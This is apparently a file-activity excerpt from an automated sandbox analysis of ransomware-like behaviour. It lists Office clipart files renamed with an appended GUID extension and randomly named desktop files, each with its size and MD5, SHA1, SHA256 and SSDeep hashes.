C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.20 KB MD5: 0538d56c7bf155c0c65174c61c7618ff
SHA1: 716a79bbd28cc58193e760423c4ac53f0de84ca3
SHA256: 1e1a5e151c478d5aedb5f7a4632559372f120c5fde73ff6ee19867791dafdac2
SSDeep: 384:x6fzQrQR2eIr0tYyM0znUO2UaPOUZGufMSDBDyKAA:x67QrQR2eIr0ylYnc5fxDFyw 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 20.07 KB MD5: 23531b1a2b7b409fae00423b602c235e
SHA1: 3080909c100de9840e06283769aecfa0dd486709
SHA256: 3e65f98fd96adfed1e0211fd914276815c346f57ba4b40c693c1743d08cf3cb2
SSDeep: 384:BtX9FpZF++LJhfUsdwwfYOiof8plbxXJl8M74KpXzlmWJH9RyYwzzmOI+RNdkhlT:7X9Fpb38+aOLf8VXJl8M0KpXzlmWJd4s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.98 KB MD5: 4efd0644dce706fee1b7cd965a2e0c2d
SHA1: 78f9a8165217d44f4a87b9d769680bf89cd6e94f
SHA256: b45c9476110e1715fa656fc97c17276d1ffc56128b83ccc643ffc494b0355cc9
SSDeep: 384:hNKdZYYB/S5MaxgNEb6UP14JqkH2oBiFs1qg0nR8OL7vDaXU9YlpNUOL7vDaXi:h0ZL/eBxgKb6a4JVkFav0L/vDaXqc//N 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.37 KB MD5: 364dd13bd0cd076e301d4fc20c765a5f
SHA1: 5088136c7ef7284f1088a0523a62d22cd35f4ec1
SHA256: 66984a50e786c35154daaa07e668436bf8230d2ff5f41dfc29268e30df3becd3
SSDeep: 384:hjWFWvfXmurlgjcFxGtz9+md+kQb/hVXiGPgmBBkU+YRZ:hjWFWv/1l8cFxGh/EbhMGPgoKUpD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.68 KB MD5: 42a5242306dfa010c322b38eb620c650
SHA1: 3f015ba404fe483864a7c4b5c5c4b84ed62713cb
SHA256: 476980e04faa65d6925c55b96c41ad3f0f7fbb849c466416b9e6010c1c83d122
SSDeep: 192:HnEnwBqoXGaeM10mJGXnRMVySHx2JTfY1Yy13PPT78LbfZuPsNi7cBhp+Ew5e:HnEwDyM10zXkCfk5pP8HfZ+i+s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.57 KB MD5: c00d7aeef3cbbebee5fc330ec4b02e0f
SHA1: cb695d312f0173123b439c65a83b8773f30b6915
SHA256: d7c715de84b4baab39d08787d292ea42dc625954a11d52c7259bf89d9c135823
SSDeep: 192:mHB57C6c9OC1oVtPsjC+ps/wDRCkqjaG4hAkhzJ7W9FRj:mHXCRyDcHs/GR2xA7hsFRj 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.15 KB MD5: f47beb5612aa13fd016912500151bc5c
SHA1: ed0ff09cac0d747c5a088bf866e019772ce68113
SHA256: 60d42ee9427756f2a04e224f9d64e98f68ea3e09f079a0344350df67bd9325bd
SSDeep: 384:Jfudn5zFOLwfy6QTW3/ZGLyKNngxLynkc:JCVFOLwq83AbJkc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.80 KB MD5: 0f72d5bfa65af6a93147ca8b9907f3c0
SHA1: ddab3d5edd0267c1691994b5c09c8fe52dcb5991
SHA256: 49030d0018254293bac703c01ae2a67500b32aff521d9665e7545629f4264127
SSDeep: 192:JeXwBfsnL4eKmltkinujbS0oQ33Oe/k5uWRB6GLpwA3uLsnMeHLDiZuRAFGBg:JIwKnL4evtuXOes8S4qUfUviURAFGe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.23 KB MD5: f62e23a49bbe0e7c84ea0db5c6b9a517
SHA1: 9a19e35393a7e617f89546de39c9086be4a94e8c
SHA256: 6b19388f44525428175da26742fbde26501bdade6f8af13dad3d45c83f8cccf7
SSDeep: 384:Er1JEYGtq/MZA+JrtVHn+YJm1m5vooeyF:ErDEYnwAWVH+fQolyF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.68 KB MD5: 02d823725fea61ea4451c5f4780886e0
SHA1: 5f26a0e88b02f4308b59c5a720a9092773a7be31
SHA256: eec7524ea932c34361b744207c7ff8b61a6e90bab301c29d011666f751f7e600
SSDeep: 192:Q57T2KT+SZ8/FvK+p6WK0hCNx8LymnUSoiQiL2WRCg:Q57T2KT+Sq/Fy+U508oNnUSoiQid 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1013 bytes MD5: 84834136ba6dbbcf80350dda9309f6ad
SHA1: c04dacb89d3258d8313545051b59f4473c7f4970
SHA256: 995c44d40c9a2b676558fcc5675e63858dea60d9443950a4129152809bbdba34
SSDeep: 24:t/g6IBA3Hih+KmH951CYVizA4+dNim+H6+bt9tl0C9lPlpPdpFZhvH:1gd0ltdri1mNim+ac9t7jpPdppvH 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.91 KB MD5: 821478b614389667e51e4e8c9f394be0
SHA1: 8b909fdb406d92f38c4b409f1a230a62eb5e39a8
SHA256: 69dc1f240839c9d6fc9bff3122252afb7cdad3775372f8d8348edfd980d9b0dc
SSDeep: 192:JvrxDivoiNY+4SzhTUBVbdqGYx3WIDSYo3OQ9QxOWS7LNbh0Kk9odGCGlyOoVM:JvrZivoiNbBhTUBVZMo3OQ94OWS75bh6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.43 KB MD5: 83f03388a1d3efe70d5b166fe6c2a2a7
SHA1: 0eef8c9a26fd16d44f15746956d381104d57298c
SHA256: 48ae7a8fbb74a0a1eac4491a347faeb4863c0a5ed4da1cf2a2a3dcbab7fb7ac4
SSDeep: 24:t/nA3Hi8KeohCF3sFnRhCty/luqV2eRhClYM9Klr+NhCGQWoq6ukveL6ntdWtcbc:901VoE36ec2urUB+VveLKQtcIUG27eyw 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.48 KB MD5: c27fa18b7f7bc45a0790a7352a579d7a
SHA1: 9b5c3f5645ca1f67597818d01d34c2900ec3bb28
SHA256: 5c6c9aa794d7ad032fa81d0422654d9bacfd6b53dedb4ccdba095e6493b55ba0
SSDeep: 24:t/BeTxVA3Hibjh/WPuTh/NY2OerMkxCslGlpXeLzGfViRBPfsmtYIhY55QCCMjQy:1BeTn0uJWPwJOq4kEslGCn88ndtYPICd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.89 KB MD5: fc6f5f7580641a3ddb5dd51eed9c3df0
SHA1: b8e6577314e094e30811c7aec1829464bfeba5b9
SHA256: eb72554fe779bbca564f45408e2f5f55891ee5b7c522f0c1ed2a0495167a44af
SSDeep: 96:ILWn4j+IEQuPr8eM/K2T5jVVSMbzhALJ6oA0lkb0:ILC6Arw/K2Vrp/Xoj64 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.88 KB MD5: a1e0da2296f63a64e33a63adeb27bbba
SHA1: b9eb1f026ea10a6b9bbbcdd10fcb727afa9e2a35
SHA256: dc5847e7a718c4156aa369e81e575f390ac83fee13c48ad20926eb0a71bbc04c
SSDeep: 192:ds/dAUljFaAa41ikUeJwet5MQAkWwpAjw6W5sb21Vqwj:ds/OUyAaMHUcwRQA4p4/Wl1Q+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.09 KB MD5: 01c54bad539bec7d5f5d7931a207fb2a
SHA1: fbbc6193bb4ef408203fbd5047d4f233d4dcef4a
SHA256: 67dd91154defa536b8f9f911717f25659bd0f58d760c6604082e9b513e6e3627
SSDeep: 192:b/5GtyQvXOQ8/YZkqAsYkENiiDknyXhtYB44wNZDlsK1VbsgGoALmNL1EPS1M42r:b/5Gt5vXOQ8/YZkJsY5Ni8knyXhtYB4o 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.93 KB MD5: d1aba12c9f5c22950ec568876d37e76f
SHA1: 4a82e4a634bfef8c8e45e35fd6cca6ae13ffe5ba
SHA256: 66b79ebf08f37ba0be9c9eaa138159b4fd7c577bf2b937c4be655cb699308284
SSDeep: 96:Femu1JUOBTYS0Ln8ax67h70pC+dtlHxS+IjwEQKEsdhSu:M7/BXUdwh70pC+zlHxS+Ijw1ASu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.11 KB MD5: 73cf1e415913541ea1484f619d21f90e
SHA1: 024a9de6cab55f3e72d7e01a15439df83013af72
SHA256: 27a82c228abd25a4a23b29541dd654762c3a730e9052e0802a24f1699e187a0c
SSDeep: 384:mhCTyCuuRMm9dLQBpK/XmjB39FqMV3qEb3R9WJfrox582uKm42S+ab12eCgUjYu1:mhCTyCuuRMm9dLQBpK/X4B39FqMV3qE8 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.50 KB MD5: 3f84f8c84daa58c5fd714487c9682446
SHA1: fec395f951eaf33b1b39026bfc768ba6ee264edb
SHA256: 4ad09a4bedb8c637289bbd0778801a6c28a19f30b0b21eaf4315deb03c3bd1a7
SSDeep: 48:5i/K4/otLpNODHXqLpSGRZyOELk0sLkiLkVcYJLkG19Lki7K7c:5Q1orNI3iSE0Rzit6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.62 KB MD5: dca843ab0bf1f9734ed30647fcbd1176
SHA1: 649d783cace815a3c6d81c6782dc982937645a2c
SHA256: 6280ef26290ce684217294b2c4b7f68c9c2cbe7b0e8030c74d96a309c3244f39
SSDeep: 96:P1pAUlgayDymByxKj4BJWm6PaBkWl1+9sdpDP2YY2ySTRRJY0/sG4yyab9mspe86:tpAugaODBy0j4fWmMaBkWl1+9sdpDP2J 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.58 KB MD5: 70341342d9b47fced3451f7af1d9507a
SHA1: 2844fdf30726daa6919e2a3a416b3080806272fa
SHA256: dc67622ef369f91054eead501c4e2438b3964c229b83f77990b2516131709502
SSDeep: 48:84sK4slLpALpajLp8L4OxFLkmELkKLkVvLkmcJ2FLkmvJoMLpmALpmRLprOLpALx:8LmzYaJuxKm5LVgmg2KmdmYmX61mLY5+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.15 KB MD5: 6318fa0d1fd3d497d1776ce8972fbe76
SHA1: bfededa953cef184191bf54121dc903372992d1a
SHA256: 9873297711854daeaa07d464eb42acd5965d40cf67513716a1d4f57c4de21742
SSDeep: 96:o1aq7nIcW+0VZTmK8siUprZsycyNaF7aXGxTQocY9s4FZ+7mvgV6QyEqZFsr0osh:6aqb5wTmK8siUpKPyNaF7aXGxTQocY9B 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.07 KB MD5: 9b1b681cbf2b6c8bfe843f9f9b669099
SHA1: b17286735defa58c1bc7afa5b89e1d9bc194fb29
SHA256: b00bae14a8ed17a27fc1d87b68f45cb66e82d8f5563da828ce7f9ee5172a0427
SSDeep: 96:u1t652kUzVp/TRZY+snP4MyNUdaolq5EUIBMpzHl0YblAclJ+IUe/6qh:otYSn/bY+NMOUwolq5EUIBMpzFZbl5JR 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 813 bytes MD5: ae091e489fcd97fffdc595ae3256b50a
SHA1: 443889b1dd883c6586c6e349a39d5b0b7e440b89
SHA256: c4b5fede3af342f3c9c07859559cc5f890ab61f671518096a89bca7821917175
SSDeep: 24:thxX+f4/+sI8u8N7LkwJWajLparTRLpGA4sPM/c:lK4/+sQ8hLkSHLpcdLpGA4sPGc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.83 KB MD5: e36d66d14e52d6d687d77926ff743e3c
SHA1: 583800e2e15996c7c2b214729294869d72fd56ad
SHA256: 433cfae2f068a07a1b8cc6f4dd881fb303de2eb30a044fe2d640a3bb5434e737
SSDeep: 192:RSzqPHG1mRudJjDMz8LUP/P3D0EAbjqgco+Zzr:RS+R6lS80/L02/zr 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.37 KB MD5: 61d6d93d7817d30bac6760d98872886e
SHA1: cac9a9d728d1cc9cabb80a2597bb56478f198be8
SHA256: c0e54a9c533c9f8b89100f7c3664a99da3ecf9157a345f786169df2a05476eb9
SSDeep: 192:28flD07Z8QtmVln+w/kZ+K7hXzIo8Z3Gk2JMp22GoWy55cq:28907ZdIh+Ifum32JkdlD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.91 KB MD5: 1b6f8728b726baa883ca6a6433ee5161
SHA1: 1ed58df8005994feab1a49b53071a59434c3e5bc
SHA256: 9dd7f559e0c574ff364a18fb7dd406717cf435c3e0f8d7b3015e834abffe0fbe
SSDeep: 768:Nak+U6PjKFTvYZ3p6LbPGornNdyMcSlF4PAxBAP:wr0vwZ6LbOob9F+AxuP 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.23 KB MD5: 9378b0d1eca55f908e5852f33cfdd01e
SHA1: 08625fd1838d9e099bb8c2412db821a66376e1df
SHA256: d7b899850fc73a44c55b9eaf2e35d071db7af96cb03443f7cb53bc1576c4aa38
SSDeep: 192:1r0/UAkpBpXW+eJtkWW2Pf4APR56b0rMcBhs/xAjIf/bCRArBfJqTYcIU8vh7O1Q:1rCUAkpBpXDCjWIfpPR56bGMcBhs/xA6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.31 KB MD5: 10ec70741ff4363d67ef3ac041a12799
SHA1: 68b6cb36df0630758bc6728684ffbaa407a4002a
SHA256: 32242426be90fd4f0c7ce0ff3475b5dfa40bfe8c5c0b0b103e5067392e0d1260
SSDeep: 96:tM10FK/IW9m3cCRO5JiBN5WVPmMJYl63ceBM4AMcGT2hs0K5Teg/D2oLmq8swf:tGr6ct5JiLsdm0Yl63bBM4ApGT2hs0Io 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-K80cFSCf.jpg 81.10 KB MD5: 843b2a0cd807c0f50e9bfdc53990a36b
SHA1: b276a23c2d3cd96926465242e506701564da09e8
SHA256: 16a498ba22ffcdc45a33c2ff9359a5f1b4964443b5c627c16b4f046496cc932c
SSDeep: 1536:E245fmLLc6Zcu4r/YT2VlfBP4btCE06ig1c/yMrlCOEyxyLnTH:ET5ULbZn4rgTul5QtKggy8lCTJrj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-K80cFSCf.jpg 83.53 KB MD5: 7c664dba48308e0a12e1498dd0c44938
SHA1: 9b4bea69c761040690e18a48dbc5a809c9ce7c82
SHA256: bcd5d12f2c16bdb0f48d567ebeeb42c3016ef97f98731cf36ee5944898bf22ef
SSDeep: 1536:Mbh6nLqVHU2vBkLloSoxl9PkUqPNBidTMToPYofamCOEyxyLnT+:MbwLqVbSoN94kM8PYqamCTJrq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1VmZjk26.avi 84.76 KB MD5: 754dcab1a24f7850a11a7a7bd006f294
SHA1: 1a6a9a96fe3abb337cb1ed56d121f36cc0fc03ef
SHA256: 411a6781f00e38e2ed381d89e365503f400870a3e21f31aab6c998afd6bdff5b
SSDeep: 1536:SLfcQdY9m03ZoQ/hUaN9rOFIIpnAWinY0beD7YUdZgSlnEs5bmXz1/SK:SLfjdYE0iihUaNLKAWZ75dZgStBbKJ/B 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2yM2MmykL7t.swf 93.48 KB MD5: 5d6a6f8b1d789ebdec8067f7a2cf795a
SHA1: 755209e8b0f2981b17c98079fa74cdd1a5b47552
SHA256: 9f53a32c2cf2c6d01d6ccb26f645de7cff9b520b84a660e89645c504f6aa5b4c
SSDeep: 1536:aNSPfiPMw8/0On1Zt4Vy4AQdgcwmxiVRKxz1zuvnhtFSEEZ75foubqrLaQu5jqW:aNSPqUw88On1T4VeQWA0R61KvrC75foO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4SiIb_crUM0-wdGU.mp3 73.82 KB MD5: 1f4bcef1b159b06aa3ca21505c250ec4
SHA1: 1fefd0f2acc6081a18c03ad3d2f7b272ab40008b
SHA256: 70ff15f3c45e6e8bcbacba3329007399fcb4d04a6fd3e6be9b02821504ff2ac4
SSDeep: 1536:12+59ZzU13QohgfTfHS6g5QJmcLUh5z5e7qnfmQGpKhnMwQ29qVKwfr8xeemY:12+59ZzUQoITvf8QUXIWeQGsb4VKwseS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6T4y.csv 33.49 KB MD5: 4e30e0fc501e8cda3c6d30611cca6e6b
SHA1: f0d2e22797a80f96b89fb0b1e625f6e7d99e9833
SHA256: ab0963f1abc50aa413e22b6dc776ac787634bd61e5d97b47470a3e3d363bb8a7
SSDeep: 768:kmsZSzRAZvmMDaSYC5JgoztKpzMuYlK4lfI+NHyZAGF:1MSzRVMNT52ytc1Yl4+NSp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\92w8y-aVjro.mp4 27.67 KB MD5: 432b7e80e950572db01c811a7ce3af04
SHA1: 9a21477fe70fbc466ef22890c9250b02e1a7478e
SHA256: c50e4015920b55817ee7db574c2b0f8c876fd391505030e2a69e71cea36e07ed
SSDeep: 768:jDZTwQs0QrmHvq6xZpbb/hQzMH1284Z2bfYbcVF:jJwQsfr6vqapbb/hpH125Z2bfYK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\92w8y-aVjro.mp4 29.13 KB MD5: 64f2fb78770817496b6b7dcc14f15b14
SHA1: 04aaab7bd1f1b5b21cc6102dee81c37e8c351bde
SHA256: 97861c1a6c451188e183456c6133c4d35a4448f75c75b6ac878f8a80345eda95
SSDeep: 768:9SY1+6lT7BpiKeRabE8oq+bw28dRap1gAJBoQF:9Nw6lT7aRadoq+bw2k4Mps 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CHEDPFTiQP67Llt2.mkv 69.16 KB MD5: 1edab6d20d11a93ea710d5d75f8a8e09
SHA1: f7a3a9f721672b543d5001f7f673043ecc812198
SHA256: c3865798e5fb414977916e6e5f031d4a4f6eabff672eee1c116a78a8f759208f
SSDeep: 1536:MjQJebglJH8gSMAbEmULfusUJ/TZh2LX8lJukddAW3X4C89qRwt:/o6fib+WsOXKMlJPQu98mO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\icCocQEeC.csv 21.05 KB MD5: 403b0918b61f0bf82c7dcc83b8f7bc66
SHA1: 3e7f58a05a52ea94ce6d13cb0394031615ce25c0
SHA256: c0e00b30a4df6f27d604eda73d335e0a757b650c3bf38e3fb1178fd6b5e29d2f
SSDeep: 384:IZwesLBHPJK9nSDr+tqFUxySbH0EBzlzjdrv7cvCxf03MZUMTiys7LZ:QwHvJK92r+DxfD047sukwtE9 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IRXNt_F.gif 78.44 KB MD5: df07a36e7d9274eea1f2d1a979c69559
SHA1: 42acab1237eac095375eaba16fb65c918d44ee14
SHA256: 30ec9cb67d7c6584454c0c9b7e53923eb97e4aebe23c19c00f143f60bbd06cec
SSDeep: 1536:1v+jsL5kvPP2yrzI430raT4PKZyevVAILcwwju89DMELl6H25AZSY:1vp5keSzF0eT4Pvevee3wjRDhO25A0Y 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iujqFY_RKqyorga.flv 86.13 KB MD5: ec119de0a88714e2819dbdb3d6f13b55
SHA1: 8924d2be4dfd6ed07e904ac6d841048e89693240
SHA256: 5457594e396ecf9dda8ff586236b78a115b151e56268f6d13d6c8bb61b44e53d
SSDeep: 1536:do710udSISu9ZUlbwi9Y2eaBDFNHqq+4CYkGPV3++aatu2/t4tyRQGc4kko:CR0udISZwdeatFNHb+SkGVHaatuIt4co 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iujqFY_RKqyorga.flv 88.56 KB MD5: d1a50a9e2757be858872d56cadae4b4b
SHA1: d5ef76d70a0457a6e62824dd952a32b45611d2e4
SHA256: c8773a54157106b30de7e1d3da1069e6943443f3b2524d968cf4a7103eee4a41
SSDeep: 1536:8BLl6BoSlQQ0zJIx/zEgFEIQzj6wTEBjnAgLzcnPj8J8bkLxkFOatu2/t4tyRQGg:8BLlYohs/zERz3EFRcPDkLxyOatuIt4b 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IZq0VqclNsC-3.ppt 35.91 KB MD5: 82ca28b58018f450548a9ef021c2ddf3
SHA1: 2ba18b516164e7b0ab74179f0808f63ab9f7e518
SHA256: adfb715091735a01db5ee4b2ca2f7e831ec88df46a954c57cad7c0fbcc061ca2
SSDeep: 768:Aup3Ok8eKgunzWpzgU1X7U/wn/WYFVWAMFq4jYmcdj:AulOk8NzYj1XIMJW4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Jcp9TJtkRvhrTh.png 15.67 KB MD5: a6730a2984856f0677afea18616959f9
SHA1: f8580bd504fd2eacce6c61a64a21843a4b804c8b
SHA256: 400ab74b6608ef8f909235e3dc6fe1fdaee7f173537c15556f255eda4dce37ba
SSDeep: 384:frCjVo+AqwSmOVuAmFdkqBmxII/suRjfZCWPVNAqIGy:frWo4wSrajkqBGIdmjnxIGy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\K9oCAOY.odt 22.94 KB MD5: 0a986ea84f3213a2e09372dba356c1c5
SHA1: 692b04e68ddaeb2e1739d32d82ca0c66f89996fa
SHA256: b375222863c016b36679a2a2d87c14b13246a175fb2b991fe4b9d8ef58f52a16
SSDeep: 384:hUGAOVsKfTg/YEsQvJyDtX9e4vOrCgtLzLqq/KI/jIU+dBzhcZKA6NG6Ng5H3S7Z:oOVsKb8J0596JLzLqqZIpdc/6NVq5XsZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3Z9-oIHB.pps 16.63 KB MD5: 184d0bab49f105922af3c7b5de30f729
SHA1: b5127679c9426ebb34c17b9ba62e926c5b51e610
SHA256: 1c983e0b519d854a4af53fb34a112bb9975bdbaa520def72ae1e84df2ce01f49
SSDeep: 384:L2haknobLo8P7m21dR85xs3PUBS5XRC0jSZ/lfnZIB4wM8brStb1dho1:L2Bi7S2LR5sMiealfWmwpbrUo1 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3Z9-oIHB.pps 18.10 KB MD5: 4983efc349a5592a6824df4c6a2ff7ac
SHA1: 5f362f29cf40e8915ee6d7a0b533d82d8a747cac
SHA256: 12d0991e69a039940e0567e49b5dfd61c8f28f246e32573ff6816568682ea043
SSDeep: 384:4YGF00C5odHzBT18kDW+RhvdlnMOoeOYoZTX1oI:K00newhFlzoeOYovF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\VNxddPAeY.mp4 23.68 KB MD5: 384fce4881edfda1506fd11ab6eba003
SHA1: 9736c0c7ff12e1db2ca1bb9287e78c688a2741c7
SHA256: 723699050988a03717bec6569e6be3f17048cbb00406ca6060400b935f0c3509
SSDeep: 384:bsyLG8CxRFOfiB0bzZ5LKAsul9vBuiRxe9S9AEDzGSixcZPOkKK4IMFUtaPLlx0k:knxWfKhsfuCUSaEDzGSixcZ5K79FUY0k 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wyZyk.xlsx 11.06 KB MD5: 7d4e814f991ab3fdaca4347ffae28cbc
SHA1: cf3534d0c52d338c6a698e9ed99d3fcd111046ea
SHA256: e42b60c0954d21ef37992541222556074888f779c43c76119e77adc091fad5e2
SSDeep: 192:hpuHc8/hXdjTKWKlEVtaSaRtZkPiu0+Y0GEUfXKvY63xJgeKhhgMn8c0ue/tjzIR:hpubhXdjTKWKlYEpRtZbuRUfXKg6BJg/ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xJLRq.swf 92.24 KB MD5: 76b6d99bf208559dadd213efe2f37d2b
SHA1: c29e26df381ad34b7dfc498b7b9843767e9b11b2
SHA256: 3d16043e551f63bcc5605dc9e5505e6b096ea2c57921de49ac4347020e0fa20d
SSDeep: 1536:WGSviczSI/dt53/Oko6oeN7xsLc70iLgq2PazC7GgLnPu3IEQeOi0y:W+0Oksw70iLgqJ8LWhQeYy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZE_K1dS8xjHpmiyyaBHQ.odp 70.88 KB MD5: 93e1c85bbdf153e4935bfa97766d7542
SHA1: 44b9c7e088b88610cbbcb21aa16f9c5f5f0bdde1
SHA256: d2f70e676bf1327f542441eebb69d7db700c47fadb708597d2cb853e4163a528
SSDeep: 1536:8T9faNqKiFHQiBNkQ/emP1jk3Lf9Y/c4pCH8mEWpLnpXPd:884HQivkaemPsLlE07EWp1/d 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZE_K1dS8xjHpmiyyaBHQ.odp 73.31 KB MD5: bd8689fd6a1e4531eb76f08cb6c2f5b3
SHA1: 400971e0e16b27d5e266916b751503f35147bcf4
SHA256: e62cee6d2d7452b8118f1d43c903111ef452f405314e94a207c36bf8238ad572
SSDeep: 1536:jsCCe5VM+e75JIqYyF8C74GQDkQdAGpWYjzYs7H7IQuvPm:7Ce5V87TIqYyuCsGHgA0Jj7H7Z2m 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\2-DznvM2CBIeSJpacfhT.gif 34.98 KB MD5: a73c4964076a3d25ba3e6e3609251294
SHA1: e64503e91cbc888331a86efa7fb978a6d1379d62
SHA256: 4f2297c7e707221f49173afe870d564439b3c12ad525d8574f3fcb0b9fc64284
SSDeep: 768:Ou+EIfOvyt65ZvABw1ZsuWnLyN0hWrM37IwRLeYo:pqfOKKGw1Zl4LsrWIqL1o 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\GiJ7o9ydiQxJQU i.gif 80.41 KB MD5: 675e6710dcb74dd55108979087fb9f6f
SHA1: 961bf8cbd1afe76191dbdd954e457d5f74d477fe
SHA256: e0b5894feb52610c5c5b8ebe4b0c80dd37ce39b2dcb870cff57b5558a86fe7f2
SSDeep: 1536:BbdRVqrkVe315hW2hDGMo/0xDF13hj/etXZTKYazSi5wTTVoW:BpbONRWkDGMg0x33h2p2lSim3VR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\MPtDDaiXphqphSQ0Mg.wav 35.13 KB MD5: f7aa418fa603b3c9a7bcd50b619bb8e5
SHA1: 79f552c5d3e23e083709989d19d53ee0cd6af6a2
SHA256: 3ecafcb01101a43a3cffd3053d7a87411052cca7a264607f17ab11e89688b2a6
SSDeep: 768:ZqNgc8kLOl+tpbivQqV02xR2EIuLUaZwoed0X+Se/:lc8ee+37q4iLUaZRg0Xi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\noUnaAH9k.flv 15.53 KB MD5: 0c7039ab78198b03c218f96da3a4b83f
SHA1: fd6f7905adb10210e80b91c901a144ddd92f72da
SHA256: 95bf3018f5f7e5c503eccaff3c35190f72c6af609c2077e11526a6ac3cbb5244
